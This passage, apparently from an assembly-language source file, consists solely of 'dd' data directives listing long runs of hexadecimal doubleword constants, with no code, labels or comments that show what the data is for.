472A7Ch, 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h dd 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h dd 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h dd 1AC758h, 0EC99EA24h, 5FA858h, 264C4442h, 5B2DAF53h dd 0E094D500h, 3B1C98C4h, 74F9A0BEh, 547300ECh, 3ED6AA20h dd 5198E2C1h, 5F184300h, 89652E7Ah, 545E0B24h, 360040D0h dd 0E40594B1h, 7E75D40Eh, 81CC3A1h, 4842C020h, 50EEA6h dd 19D0DC7Ch, 0D3245303h dd 70463700h, 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h dd 5F39DB31h, 0D8E2B0h, 7E1DFD94h, 7CF60542h, 82000EE6h dd 680AA21Ch, 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h dd 0B2D6FB7Dh, 0EE7717h, 910C1867h, 0C7D7C6B7h, 0AFC8A500h dd 7F95A215h, 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh dd 0F303231h, 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h dd 49DB608Bh, 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh dd 7F56CA40h, 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh dd 3D817256h, 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h dd 4548CB00h, 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h dd 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h dd 6D3D7AF5h, 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah dd 0FA092h, 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch dd 4E99E1h, 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh dd 54BF001Eh, 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh dd 0FEA7132h, 7607B91h, 149500D7h, 0AAD504F0h, 0F7303Bh dd 5BDE97D1h, 107EB8Bh, 5DC9CAD4h, 0E8871067h, 0D50027E9h dd 18D02325h, 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh dd 0C3A1F400h, 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah dd 638A5D0Fh, 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah dd 70571908h, 871D79FAh, 54CF2088h, 803C004Ah, 638A551h dd 58A2B891h, 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h dd 0EB1AC0Ah, 772E6D41h, 706A6200h, 7899DF60h, 14510010h dd 22836350h, 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh dd 680E4A19h, 47667157h, 407C4100h, 6E727660h, 4CE900F9h dd 6BC47ADDh, 6409F07Fh, 80A66974h, 534018CFh, 48770061h dd 0B37C577Dh, 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h dd 0FF1C1743h, 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h dd 0E09EBE44h, 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh dd 0EE4A7A73h, 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h dd 0B0604A00h, 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch dd 45B0711Ch, 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh dd 76CC6A4Fh, 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch dd 4B000E73h, 0EA6F4363h, 581862h, 6C1C6847h, 77875166h dd 31706B00h, 1D466365h, 74487140h, 1F077972h, 80615167h dd 74945527h, 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh dd 429E0078h, 13048FEh, 6A0E654Bh, 0C7636961h, 0D3E128C0h dd 87C421FBh, 0F860F834h, 681E009Fh, 486E38BFh, 95073052h dd 1447CA1Ch, 3741150h, 61670046h, 60886376h, 8BA05677h dd 6D000A62h, 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h dd 0E0FE626Bh, 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h dd 1830A560h, 48B07742h, 0B6006C63h, 74417289h, 613A71h dd 1C0696Bh, 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h dd 0B82A0175h, 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h dd 84CB00A4h, 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh dd 7B2B4CE4h, 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h dd 14101E15h, 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h dd 17403AF6h, 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h dd 1D4775F7h, 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h dd 1B147945h, 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h dd 2D46DD69h, 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h dd 14B8801Fh, 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh dd 71830E54h, 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h dd 1C8FD16Dh, 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h dd 71110E44h, 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh dd 0D0FA00A4h, 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h dd 100E5BE5h, 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h dd 8BA71D76h, 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h dd 884E0055h, 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h dd 0AA830E12h, 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h dd 0FC5D8E40h, 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h dd 84ED1C80h, 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h dd 93FAB2AAh, 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh dd 25378AAh, 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h dd 0C40C21CCh, 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh dd 0FF7D42B9h, 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch dd 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h dd 4ABF5CC3h, 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h dd 0E885D959h, 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h dd 365097h, 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch dd 11758Dh, 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh dd 8D5601B1h, 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh dd 1B66A12h, 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh dd 0F4BA3437h, 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h dd 558BF1B8h, 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h dd 32FEF4h, 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h dd 14546C6h, 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h dd 259C7DDh, 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh dd 8C7CFFh, 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh dd 15F4F48h, 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h dd 11790114h, 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh dd 40722EBh, 8053B84h, 12410C01h, 0E028C310h, 0F600D311h dd 1CBA2F13h, 3455251h, 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh dd 6C7E8086h, 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah dd 0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh dd 0DDAEFC00h, 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h dd 0B45EBD03h, 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h dd 9E30E4BCh, 0D31840h, 244C283h, 0DCA12550h, 805D203Eh dd 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h dd 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h dd 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h dd 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h dd 837825E9h, 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h dd 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h dd 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h dd 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh dd 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch dd 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h dd 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h dd 0D4DDC30Ch, 80072089h, 1DC0267Bh, 0B50098B7h, 437EE0h dd 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch, 0EFC25000h, 437FC6h dd 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh, 8C4D005Dh dd 0BF156726h, 13007387h dd 3FE5F685h, 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h dd 8024683Eh, 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh dd 358498F2h, 28033372h, 9D863210h, 0E628039h, 7A2C1D11h dd 8158CA2h, 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh dd 75D0EC0h, 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h dd 717CF190h, 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh dd 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h dd 6899D500h, 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h dd 1253430Fh, 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h dd 4FEC3F00h, 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h dd 21B9F58h, 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h dd 161F8AF4h, 8414258h, 1A91CB03h, 0AF46FCh, 0B454BF2Ah dd 0D5E868E1h, 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh dd 0E400E85Bh, 104914D5h, 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h dd 752D3C01h, 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h dd 0B3003E35h, 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h dd 0A4A22404h, 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh dd 0EB07EE47h, 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h dd 2E77F098h, 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h dd 9A70F31Ah, 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h dd 5ADEF7FBh, 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h dd 4D9C7DE0h, 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah dd 0C400EB0Ah, 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h dd 8AB08805h, 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h dd 40FAE70Fh, 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h dd 0FCCFD20h, 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h dd 65E8F980h, 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h dd 68A1C07h, 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h dd 5C9FB9EFh, 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h dd 0F880EE89h, 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h dd 0E93C1703h, 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h dd 0CC7EC0DFh, 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh dd 0C6006A71h, 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h dd 0C45420A7h, 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh dd 2D008319h, 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h dd 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch dd 0DE26001Dh, 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h dd 0E0F9FDF2h, 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h dd 0F516031Bh, 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h dd 0B2566F20h, 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h dd 534FC04Eh, 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h dd 68AF9608h, 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h dd 4A170094h, 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh dd 130ED1F5h, 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h dd 0AE7F7Fh, 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh dd 37320025h, 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h dd 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h dd 40001B32h, 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h dd 0A9A44526h, 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h dd 3B06E98Ch, 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h dd 0FF96EBE0h, 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h dd 8130299Fh, 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h dd 342D220Dh, 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h dd 74AE9046h, 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h dd 1C5815D1h, 0E3AC6Eh, 8F433614h, 8C9C46A2h, 8A40F101h dd 814A3B08h, 603D840h, 428D0050h, 4D98EA0Ah, 2900E8F0h dd 845E575Bh, 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh dd 9AFC6A00h, 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh dd 2FA4035h, 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h dd 6547E788h, 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h dd 70690052h, 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h dd 0C805003Ch, 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h dd 3C3E9A67h, 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh dd 7E9AD9Dh, 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h dd 0BAA068FCh, 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh dd 4F77042h, 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h dd 0E651C8h, 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h dd 0D34900C4h, 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h dd 1CE00B04h, 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh dd 0FE48475Ah, 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh dd 42F397B2h, 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h dd 7728C342h, 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh dd 0AC804582h, 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah dd 3BD2AF24h, 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah dd 0DB2493B8h, 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h dd 5CDF1198h, 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h dd 1E50084h, 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h dd 0EAA2E809h, 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h dd 0CCE8DDD8h, 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh dd 0A0F12F10h, 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h dd 945E6A0Dh, 41FD301h, 1CBE6096h, 31FCBD40h, 4C5001C0h dd 0A80E6802h, 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh dd 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh dd 55D404E1h, 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h dd 107F001Fh, 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h dd 0D5380088h, 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch dd 0FE3500F6h, 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h dd 0C6297BDFh, 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh dd 3F750029h, 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h dd 22021845h, 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h dd 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah dd 527333D6h, 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh dd 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch dd 3B4C980h, 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h dd 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h dd 0C2790950h, 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h dd 0F7E2C8h, 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h dd 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h dd 0A3A5275h, 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h dd 817A4400h, 586A07E2h, 0F0C43FE4h, 781CC91Ch, 40CEDC60h dd 1001DF6h, 10B77538h, 1C9EBA3h, 39F00A7Bh, 0ECC156CCh dd 0BC00FA04h, 869460A0h, 0EDEF69Dh, 3FAC8313h, 0D089AD00h dd 807DCDEBh, 0A8201E00h dd 0EA7D901h, 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h dd 1A24D904h, 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h dd 0F62FCA5h, 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh dd 32C30720h, 172C7440h, 1739997Ah, 74126601h, 0D9075913h dd 804B49BFh, 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h dd 480FC8EDh, 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h dd 2A271FC4h, 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h dd 0CED2031Fh, 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h dd 18066C74h, 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h dd 0CB3104E8h, 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h dd 0B0E8A097h, 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h dd 318E800h, 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h dd 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh dd 809DA2C8h, 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h dd 0FF10280Ch, 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h dd 3E94099Ah, 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch dd 5A7CA63Eh, 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h dd 0BB878405h, 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h dd 171EB4Ch, 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h dd 0E5005E75h, 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h dd 54059A0Eh, 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh dd 1E00A2D7h, 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h dd 0E81A0700h, 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h dd 0C0010A6Ch, 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h dd 8807EE66h, 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh dd 0AC3C6942h, 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh dd 0D7EE56AAh, 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh dd 9F480DE0h, 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h dd 0F99D00EDh, 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh dd 0EA5657h, 3685944h, 30058B64h, 3C148500h, 421904F2h dd 0C4080F02h, 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h dd 0B27862C0h, 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h dd 27C067C7h, 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh dd 0F207E688h, 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h dd 0FBEE12h, 4CBBD4DEh, 600F713h, 560B245Bh, 1CCB3A73h dd 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch dd 768006A6h, 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h dd 582F0064h, 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h dd 1E40087h, 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h dd 0EB4599h, 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h dd 68EC552Dh, 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h dd 0D840501Dh, 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h dd 221FEC7Ah, 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch dd 83F41D11h, 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h dd 0EE7EBDD2h, 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h dd 424B01D7h, 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h dd 7FD70059h, 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h dd 0F313E2E2h, 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h dd 97801F10h, 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h dd 904F6400h, 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h dd 5CBF5300h, 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah dd 121F71D1h, 2B50296h, 89F4F287h, 0CAC00D14h, 680084E9h dd 0A177EA90h, 490894h, 143EA259h, 0A30C6674h, 314F300Eh dd 1F35CFBDh, 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h dd 0B5022AB0h, 50093195h, 32836068h, 0DB5D0303h, 0A559974h dd 2EB20400h, 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h dd 5C6761EDh, 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah dd 6A04C80Eh, 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h dd 9734CFAh, 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h dd 0D7BC5Bh, 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h dd 885444A6h, 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h dd 0D37BB4h, 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah dd 18B91C53h, 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h, 98427D63h dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh dd 553A16h, 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h dd 69F70059h, 1680827h, 2F000BD4h, 41EDCE80h, 152420h dd 74664C94h, 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch dd 91A92C9h, 366E194Fh, 16C0D08Fh, 0A3CDF841h, 2134F600h dd 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h, 0F900E2B4h, 0F3BE9045h dd 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh, 0CB4FF98Fh, 759733A8h dd 4FAA5F2h, 0B73A2274h, 84341F1Ch, 0BB38D840h, 3E7C92AEh dd 5C00F2FEh dd 82EFD7B1h, 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh dd 3EBF7DD8h, 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h dd 886EA79Ch, 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h dd 3D8B002Eh, 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h dd 0A0003A45h, 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h dd 1D33C25Eh, 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h dd 0D30022FAh, 0A51DE87Eh, 5539D9h, 0A4CFAAACh, 0B6AB362Ah dd 4ED25005h, 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch dd 28588D07h, 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h dd 9D71EB1Fh, 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh dd 8F6A3F00h, 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h dd 1E759546h, 15A9Bh, 24871785h, 36FF1491h, 0C306F400h dd 8F75D6EAh, 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h dd 0C65F49h, 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh dd 7557D6Eh, 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h dd 9ECF0D45h, 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h dd 0A15803h, 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h dd 0AD44C4DDh, 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h dd 931675F2h, 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h dd 53992444h, 0DF785C41h, 0D2F63200h, 0D49B0309h, 